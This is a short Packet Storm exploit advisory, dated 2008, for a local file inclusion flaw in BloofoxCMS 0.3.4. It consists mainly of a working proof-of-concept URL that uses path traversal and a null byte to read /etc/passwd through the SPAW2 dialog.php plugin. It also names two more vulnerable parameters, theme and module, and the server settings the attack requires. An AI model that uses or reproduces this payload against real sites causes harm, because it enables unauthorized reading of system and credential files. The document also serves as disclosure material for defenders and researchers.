Bloofox CMS 0.3.4 Local File Inclusion

2008-12-30T00:00:00
ID PACKETSTORM:73396
Type packetstorm
Reporter fuzion
Modified 2008-12-30T00:00:00

Description

                                        
                                            `BloofoxCMS 0.3.4  
http://www.bloofox.com/  
  
magic_quotes_gpc = Off  
register_globals = On  
  
- File Inclusion -  
http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00  
  
Also vulnerable:  
dialog.php?theme=<lfi>  
dialog.php?dialog=foo&module=<lfi>  
  
- Seasons Greetings -  
- http://nukeit.org -`